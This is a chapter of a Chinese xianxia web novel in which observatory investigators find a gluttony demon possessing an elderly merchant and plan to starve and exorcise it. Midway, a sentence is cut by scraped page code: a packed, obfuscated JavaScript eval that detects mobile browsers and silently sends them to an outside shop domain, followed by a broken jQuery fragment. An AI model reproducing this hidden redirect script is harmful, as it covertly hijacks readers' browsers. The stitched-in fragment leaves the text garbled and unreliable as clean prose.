钱百富嘴里的肉还没咽下去,一听说有机会大摆宴席,又兴奋起来。
钱家不缺钱,多少饭都是吃得起的,但他这个样子实在很不正常,不但身体受不了,而且让人看了就害怕。
钱百富看儿子站着不动,道:“怎么了,我使唤不动你们?”
他把脸一沉,透出一身的威严来。钱正宇只得道:“好、好,父亲稍等片刻,我这就让人准备,您想吃什么?”
钱百富舔了舔嘴唇,期待道:“来的客人多,就做烤骆驼吧。”
钱正宇应道:“是。”
一群人出了小院,钱正宇吩咐人去做饭,眉头一直皱着,看得出来十分忧虑。若是自己的父亲变成这个样子,谁心里也不好受。钱正宇道:“如你们所见,我爹得了这种贪吃的怪病。他以前不这样的,吃饭就吃八分饱,晚上只喝一碗粥,没事就打打太极拳,很注重养生。可最近半年不知道怎么回事,他忽然胡吃海塞起来,一顿饭吃五六只烧鹅都不够,经常半夜嚷着饿,还要起来加餐,大家劝都劝不住。”
他心头一酸,眼睛都红了,道:“他几个月就胖了二百斤,郎中说这样对身体不好,他就大发脾气,抄起长凳把人赶了出去。可他都快六十岁了,这么个吃法五脏六腑都受不住。家里不疼那点饭钱,但是担心他的身体。可他什么也听不进去,以前他是很讲道理的,现在不知道怎么回事,就像变了个人似的。”
段星河道:“他吃多了不觉得撑么?”
钱正宇道:“撑啊,他经常撑得吐了,但吐完了还要接着吃。有时候他自己也后悔,还哭着说要控制自己,但连半天都没过,他就又开始狂吃了。”
众人想象那个情景,都觉得十分可怜,又有些可怕。钱老爷子不光看食物一副贪婪的样子,就连看人的时候眼里都冒绿光,仿佛要把人吃了似的。
钱正宇道:“一会儿你们一起吃饭,正好看看他的情况。我会想办法劝劝他,让他配合治疗。几位也请多担待着些,他现在的脾气就像小孩儿一样。”
段星河道:“我知道了。”
钱正宇给他们安排了厢房,众人休息了片刻。到了晚上,有人来请他们去吃饭。伏顺惦记着烤骆驼的事,兴奋得直搓手,道:“烤骆驼好吃吗?”
赵大海一向爱惜牲口,不高兴道:“留着驮行李多好,非要烤来吃,又不欠那一口。”
李玉真道:“中原很少见到骆驼的。他家老爷子这么爱吃,可能养了骆驼专门用来吃的吧?”
宋胡缨小时候跟父亲驻扎在边境,经常两眼一睁就是黄沙和骆驼队。她淡淡道:“我跟我爹吃过。”
伏顺顿时兴奋起来,道:“怎么样?”
宋胡缨道:“还行,就是一层一层的。”
她说话一向言简意赅,众人不明白这话什么意思,到了花厅,就见屋里灯火通明。长长的饭桌上,放着一个银色的大长盘子,盘子里铺着几层菜叶,菜叶上摆着一头小山似的骆驼,四条腿跪着,低着头朝向上首的钱百富。
骆驼烤的焦香四溢,上面洒满了翠绿的葱花、孜然,仆人把大碗的酱料刷在烤骆驼上,浓烈的香气让人忍不住咽口水。钱百富换了一身干净的衣裳,显得也比初见时精神了几分。
他站起来,亲自拿银刀把骆驼切开了,白色的热气顿时涌了出来,里头露出了一头烤全羊,众人十分惊讶。老爷子又切开了烤羊,露出了一只烤的油汪汪的大鹅。再往下切去,渐次露出了一只烤鸡和一条烤鱼。
众人总算明白了宋胡缨说的“一层层的”是什么意思。钱百富把鱼肚子剖开,从里头取出了一个鸡蛋,用刀尖插给段星河,热情道:“钦天监的朋友,欢迎你们!”
这个蛋吸收了几层烤肉的味道,滋味浓郁,是这道菜中最珍贵的部分。段星河连忙站起来,道:“多谢钱老先生。”
钱百富咧嘴笑道:“不用客气,十年前陛下召见过我,说我经商有道,让我好好把生意做下去,惠及更多百姓。你们是为陛下做事的,便是我的贵客。”
他说起当年的事还十分骄傲。大家都知道他做生意讲良心,要不然也发展不了这么大规模。段星河把那个蛋切了一半,分给了步云邪,道:“你尝尝。”
步云邪微微一笑,不在乎这些。他虽然官位最大,但出门不爱穿官服,也没报腕儿,就连钱百富这样的老江湖都看走了眼。步云邪身上有股贵气,像月亮一样柔和。段星河带的则是一股领袖气质,往人群里一站就有股强烈的凝聚力,就像一个稳定放出光芒的太阳,让人忍不住要注意他。
钱百富分完了蛋,咽了一下口水。他已经忍耐多时了,挥了一下肥胖的手,道:“大家别见外,开吃吧!”
他说着一把撕下了一大扇骆驼肉,狼吞虎咽起来。白色的肋骨露了出来,驼峰里淡黄的脂肪被烤化了,像雪山一样堆在烤肉上。众人撕下了面前的烤肉,就着馕和菜叶吃了下去,侍女过来给他们倒上了美酒,把一盘盘水果捧了上来。伏顺吃的满嘴是油,眼睛都放出了光,道:“我的天,真好吃啊!”
钱正宇道:“我爹以前去西北做生意,那边都是大沙漠,风沙很大。他和手下的人差点死在那边,后来找到了绿洲,当地人请他们吃了一顿烤骆驼。我爹一直都忘不了那个味道,每次招待贵客都要烤骆驼。”
众人吃着东西,纷纷点头,左耳朵听右耳朵冒。这道烤骆驼在沙漠里都要一百个人才能吃完,他们十个人吃这一顿绰绰有余。伏顺拿胳膊肘碰了赵大海一下,小声道:“你不是不吃骆驼吗?”
赵大海的腮帮子都塞满了,道:“谁说我不吃了,再加点辣椒。”
他捏了一撮辣椒面洒在面前的烤肉上,连骆驼肉带羊肉一起卷饼吃了。小对眼闻见香味了,一个劲儿地扒拉人的裤腿。李玉真撕了一块烧鹅,悄悄扔在了桌子底下。
段星河也撕了一块骆驼肉,抖去了上面的辣椒,递给了蹲在桌子下面的墨墨。两个崽子狼吞虎咽的,吃的十分欢快。
一会儿功夫吃得差不多了,众人瘫在椅子上,有种筋疲力尽的感觉,又觉得心满意足。钱百富仍然没有停下来,他左右开弓,接二连三地把烤肉撕下来,把剩下的大半头骆驼渐渐吃下了肚。
众人看着他,神色渐渐变得震惊起来。他抖动着肥硕的腮帮子,沙沙沙沙沙,以极快的速度吃下了烤肉、脂肪,又提起鱼头狠狠嘬了一遍,把鱼眼睛也吸进去吃了。
钱正宇已经习惯了,看着父亲大吃大嚼恨不能把盘子也吞下去的模样,显得有些难过。
伏顺吃多了肉有点腻,见桌上还有个桃子,伸手要拿。就见钱百富伸过手来,狠狠地瞪了他一眼,就像一头护食的野兽。伏顺吓了一跳,连忙把手缩了回去,道:“您吃。”
钱百富把桃子抢了过去,两三下啃光了,把核扔在地上。他在衣服上擦了擦手,又继续吃剩下的一条骆驼腿。一般人吃到这个程度,早就受不了了。段星河看着他的肚子,感觉有点窒息,就算再大的胃也得有个限度,他是怎么盛得下的?
钱正宇终于忍不住了,道:“爹,差不多了,明天再吃吧。”
钱百富听不得这话,怒视他道:“你心疼这点饭啊?”
钱正宇道:“不是……爹,你这么个吃法,对身体不好。”
钱百富气恼道:“我就是吃的多了一点,咱们这个家业吃不起吗?我辛苦了一辈子,吃两碗饭你就心疼了,不孝子,不孝!”
他一边说,一边还往嘴里塞肉,根本停不下来。钱正宇心里十分难过,父亲以前也很好,自从生了病就变得十分情绪化。他道:“爹,这些朋友就是我请来给你治病的,你让他们看看吧。”
钱百富的脸一沉,道:“我哪里有病,我没病。之前你找了那么多道士,除了烦人之外还有什么用?”
钱正宇好声好气地劝道:“爹,钦天监的大人跟以前那些野路子的不一样,他们很厉害的。你就信他们一次,好不好?”
钱百富沉默了片刻,没有回答儿子,低头继续吃了起来。屋里回荡着他咀嚼的声音,咯吱咯吱咯吱,他沾满油花的嘴蠕动着,就像有个无底洞。钱正宇看不下去了,拉住他道:“别吃了爹,身体要受不了了。”
钱百富一把甩开了他,道:“胡说,你少胡说八道,我还能吃!”
他又吃了几口,表情却显得越来越痛苦。他打了个几嗝,肥硕的身体颤动了几下,忽然弯下腰,哇地一声吐了出来。胃酸和酒臭混合着食物的气味散发出来,臭不可闻。众人的脸色都微微一变,侍女连忙过来打开了窗户,过来给老爷子漱口、擦嘴,打扫地上的秽物。
这些人的反应如此迅速,看来这种事已经发生过很多次了。
侍女们把地上收拾干净了,钱百富坐了片刻,伸手又想去拿肉。钱正宇大声道:“爹——!”
钱百富也意识到了自己不自觉地又要吃,左手用力打了右手几下,打的手都红了。步云邪道:“钱老先生,别这样——”
钱百富忽然抱住了头,呜呜咽咽地哭了。他缩成一团,身体越发像一座肉山。他一抽泣,浑身的肉就跟着哆嗦。
众人不敢说话,看到了这样的情形,他们也很尴尬。钱百富哑声道:“我也不想这样的,可我老是饿,我好饿啊,怎么办……我没救了。”
钱正宇抱住了父亲,道:“爹,你别怕,我们一定能救你的。”
钱百富摇着头,懊恼道:“你别靠近我了,我会伤害到你的。”
钱正宇的神色认真,道:“我不怕,无论如何我都要救你。”
他们父子感情这么深,让人十分动容。钱正宇抱着父亲,就像小时候他抱着自己一样。他轻轻地拍了拍父亲的背,安慰道:“没事了,你休息一下,等会儿让钦天监的朋友给你号一号脉。”
钱百富虽然半生叱咤商海,如今年纪毕竟大了,此时就像个无助的小孩儿一样,点了点头,都听儿子安排。
这边就算收拾干净了也残余着一些气味,桌子上也杯盘狼藉的。钱正宇道:“这里太乱了,咱们去后面静室吧。”
众人洗了手,钱百富也换了一身干净衣裳,去了后面一间静室里躺着。
步云邪给钱百富号了脉,道:“这样多久了?”
钱正宇道:“半年了,原来我爹饮食都很正常的。”
步云邪道:“在那之前遇到过奇怪的事吗?”
钱正宇想了想,道:“没有。”
他的目光有些闪烁,好像藏着什么事。步云邪闭目观想了片刻,感觉有一团黑乎乎的东西躲在钱老爷子体内,无数条黑色的须子从他嘴里探出来,不住蠕动。他道:“钱老先生身上似乎有什么东西缠着,我试试能不能把它逼出来。”
钱正宇道:“弄出来就没事了么?”
步云邪点了点头,道:“令尊本身没什么大病,就是那个作祟的家伙贪婪好吃。大约它看你家家境不错,供的起它这么个吃法,所以才赖着不走。”
钱正宇道:“是饕餮?”
步云邪道:“不是那么好的东西,这个邪气很重,长得也有点一言难尽。”
钱正宇的神色一凛,道:“请几位大人快把那个妖物赶走,若是救得了我爹,你们就是我钱家的大恩人!”
步云邪跟李玉真对视了一眼,道:“我来?”
李玉真道:“好,我给你护法。”
步云邪让其他人都退了出去,叫钱百富盘膝而坐。他手中凝起一道金色的灵光,凌空书写了一道驱邪符,朝钱百富拍了过去。
符文还没靠近钱百富,窗户忽然被一阵大风吹开了,到处都噼里啪啦一阵乱响。花瓶、茶杯落在地上摔得粉碎。就见钱百富周身生起一道黑雾,他自己还十分茫然,不明白发生了什么。
那股狂风凭空而来,把众人吹得东倒西歪。这样的情形之前也发生过几次,每回有道士来驱邪,都会被这昏天黑地的阵仗吓跑。段星河感到这妖物的力量不小,低声道:“别太勉强。”
步云邪把心一横,非要试试对方到底有多厉害。他又写了一道太上镇妖符,金光奔雷一般冲过去,重重击中了钱百富的心口。钱百富疼的大叫一声,倒在地上不住翻滚,一边道:“好疼啊——我要死了,我要死了——”
步云邪看情况不妙,把手一挥,金光顿时消散了。
钱正宇吓了一跳,连忙冲了进来。钱百富喘着气,出了一头虚汗。他道:“怎么了,爹?”
钱百富浑身的肥肉都在哆嗦,道:“我身上好像有火在烧,有刀在割,疼、疼死我了!”
步云邪一时间没说话,符咒只会作用于妖物,对人没有损害。但钱老爷子却跟那妖怪感同身受,看来那妖物挟持了他的元神,把自己受到的痛苦也分给了钱百富。
对方的意思很明确,就是要让他们投鼠忌器。敢让它不舒服,它就拉着宿主一起受罪。
钱百富身上透出了一股浓烈的妖气,看来对方确实不是个小角色。段星河凝神看了片刻,感觉是黑乎乎的一大团肉,一部分住在他的体内,一部分从嘴里冒出来,紧紧地扒在钱百富身上,看不出来鼻子眼睛在什么地方。他皱眉道:“连脸都不敢露,还挺嚣张。”
钱百富感觉像被烙铁烫伤了一样,拉开衣襟一看,肚皮上果然有一道淡淡的红痕,是被符咒烧伤的。钱正宇道:“几位大人,这是怎么回事?”
步云邪沉吟道:“妖物劫持了他的元神,躲在他身体里不出来。用符咒会伤到钱老先生的身体,不能直接动手。”
钱正宇十分不安,道:“那怎么办?”
步云邪只说了一声:“慢慢来,不着急。”
他不想让妖物听见自己的打算,走到屋外站着。钱正宇亦步亦趋地跟上去,诚恳道:“请大人赐教。”
步云邪低声道:“那妖怪贪吃,最近让老先生少吃一点,像正常人一样每天三顿饭,青菜稀粥,饿一饿那妖物。”
钱正宇道:“然后呢?”
步云邪道:“我这几天炼一颗罗汉护元丹,服了之后能保护老爷子身体不受损伤,到时候再用道法把它逼出来就是了。”
钱正宇见他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579968|138533||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
神色淡定,显然是胸有成竹。他道:“好,钦天监的大人道法高强,我都听你们的。”
当天晚上,钱正宇把他爹又送回了那间小院里,多加了些人手在外面看着。
彼时修仙的风气正盛,钱正宇请过一些方士炼丹,家里就有丹房。但毕竟自家没人懂这个,游方的道人一走,屋子就空下来了,还积了不少灰。
步云邪要借丹房用几天,钱正宇一口答应了,说要什么药材尽管说,他一定全力配合。
段星河跟伏顺他们住在厢房,宋胡缨带着两个崽子住在隔壁。
次日一早,段星河醒了过来。他昨天晚上吃多了,到现在还不饿。但钱百富一个人就吃了大半头骆驼,实在让人震惊。要是这样放任下去,他早晚会把自己活活撑死。
段星河从行囊里掏出了神州风物志,找到了妖物一节,哗哗地翻着书,自语道:“这是个什么东西……”
李玉真打了个呵欠,从隔壁过来道:“兄弟们,等会儿吃什么?”
伏顺揉着眼从对面的床上爬起来,感觉有点积食,道:“还吃啊,打个嗝全是油花子。”
李玉真道:“那就吃清淡一点嘛,小米粥怎么样?”
赵大海还没睡够,翻了个身道:“我不吃了,我再躺会儿。”
段星河找了片刻,目光停在一页上,纸上画着个肉山似的怪物,眼睛鼻子缩在一层层的肉褶子里,一张嘴极其巨大,上头写着两个字,暴食。
李玉真凑过来看了一眼,见上头写着上古大妖之一,虺神的随从。此妖由世间的贪食恶欲生成,极度贪吃,性情暴虐,十分危险。
段星河眉心一跳,没想到这就遇上硬茬儿了。萨满说这世间散落着不少大妖,它们散布恐慌与邪恶,用邪气滋养着虺神,妄图侵占这个世界。他们想要登阶,就不能放任这些大妖作祟。
李玉真道:“附在他身上的是暴食?跟之前在草原上见过的那个人面狼身的傲慢是一个级别的么?”
段星河道:“应该是吧。”
李玉真想起了被那怪物支配的恐惧,大家打完了那一架躺了一天一夜都动弹不得,要不是它刚苏醒还没恢复力量,自己这些人都得凉。他打了个寒战道:“那很难对付吧?”
段星河没说话,既然是上古大妖,肯定不好惹。李玉真想起了凌烟阁给评了个危险程度四星,觉得还是保守了。段星河合上了书,道:“我已经到金丹期了,阿云和你的修为也不差,咱们三个联手,应该能把它逼出来。”
李玉真道:“逼出来之后呢?”
段星河轻描淡写地说:“想办法封印住它,让它别再害人了。”
李玉真满脑袋都是冷汗,道:“不是……你就没想过,咱们有可能打不过它?”
段星河倒是挺乐观,学着李玉真的样子动了动脚腕子,道:“打不过就跑嘛,又不是没长腿。”
李玉真道:“那钱家人怎么办,跑得了和尚跑不了庙啊。”
段星河轻咳了一声,道:“咱们管不了那么多,只能尽力而为,人各有命嘛。”
李玉真搔了搔头,觉得也没有更好的办法,反正车到山前必有路,只能先试试再说了。
早晨吃过了饭,段星河出了钱家大宅,带着伏顺和赵大海去街上逛了逛。这附近都是万通商会的产业,店里的货物很多,价格也很公道。钱家还出钱给城里的孩子们盖了个学堂,学费全免,就算考不上秀才,至少也让穷人家的孩子能识字、会算账,以后也好谋生计。
前头有个观音庙,香火十分旺盛。段星河去粮店称了几斤糯米,打算驱邪的时候用。一人进来道:“掌柜的,新粮食送过来了,您查查。”
几辆大车停在店门前,上装着米面粮食。掌柜的点完了数,道:“好,入库吧。”
段星河对万通商会很感兴趣,加入应该有赚钱的机会。他在一旁等了片刻,见几个伙计抹着汗出来了。他出声道:“小哥,你们是钱家的人么?”
一个伙计道:“我们是他家的工人,有事?”
段星河道:“就是随便问问,我看这里生意挺好做的,打算在这里盘个店卖瓜子点心之类的,能赚么?”
那伙计笑了,道:“这城里的铺子大多数都是万通商会的,你要干也行,但人家进价就低,上税也低,你怕是干不过人家。除非你加入万通商会,不过入会的门槛高,做小本生意的人家也不要。”
段星河竖起了耳朵,道:“加入商会进货有优惠,还能少交税?”
那伙计道:“是啊,前些年陛下召了钱老爷子进宫,表彰他经商有道,给了他个优惠,凡是万通商会的人能少缴两个点的税。各个国家不一样,夷州那边更穷一点,鼓励商人过去,能减四个点呢。”
小打小闹的东西官府不管,但凡有珍贵的东西、或是大宗的货物,进城都要交税。马上就要离开大幽了,衣食住行都要花钱,段星河寻思着反正自己要在各国之间行走,正好当个行商。
另一个伙计见他眼睛转来转去的,提醒道:“小兄弟,夷州那边荒蛮,土匪也多,没点本事在那儿根本做不了买卖。你要是真有能降龙伏虎的本事,还不如给人当保镖挣钱呢。”
这些人日子过得不错,都十分热情,也很善良。段星河笑了一下,道:“多谢各位,我知道了。”
他往回走去,赵大海看出他动心了,道:“大师兄,你想加入万通商会啊?”
段星河道:“你不想?”
赵大海觉得麻烦,道:“也就低两个点,加入要费老大劲的吧。”
伏顺恨铁不成钢地说:“憨货,多少人挤破头都进不去,你还嫌麻烦。一百两银子省二两,一万两银子就能省二百两啦。知道你为什么这么穷吗,你看不上小钱,大钱还看不上你呢!”
赵大海觉得有点委屈,但见识不多又嘴笨,不知道怎么反驳他。
段星河觉得一点小事也没必要吵架,道:“看看情况吧,先把手头的活儿干完再说。”
一行人回了钱家大宅,在客房里歇着。段星河寻思着钱老爷饿了大半天了,这会儿应该开始闹腾了。他招了招手,几个脑袋凑到了一起。他低声道:“那妖怪挨了饿,这几天肯定要闹事。咱们排一下班,今天晚上我去盯着,明天伏顺和大海去蹲着,后天宋姑娘和李兄去蹲着,一发现有异动,马上发信号。”
他掏出一个银哨子,哔地一吹,声音十分清脆,夜里的穿透力应该挺强的。
李玉真不放心,道:“今天晚上我和你吧,也能有个照应。”
段星河道:“好,去休息一会儿,等会儿咱们就去。”
晚上亥时左右,院子里的灯火熄了大半,仆人们都歇下了。段星河摸着黑爬起来,去隔壁敲了敲门。李玉真悄悄地出来了,低声道:“等着你呢。”
段星河道:“睡好了吗?”
李玉真的精神十分饱满,道:“睡了三个时辰,盯一晚上没问题。”
段星河也睡得很好,这会儿目光炯炯的像两个灯笼似的,道:“好,咱们走吧。”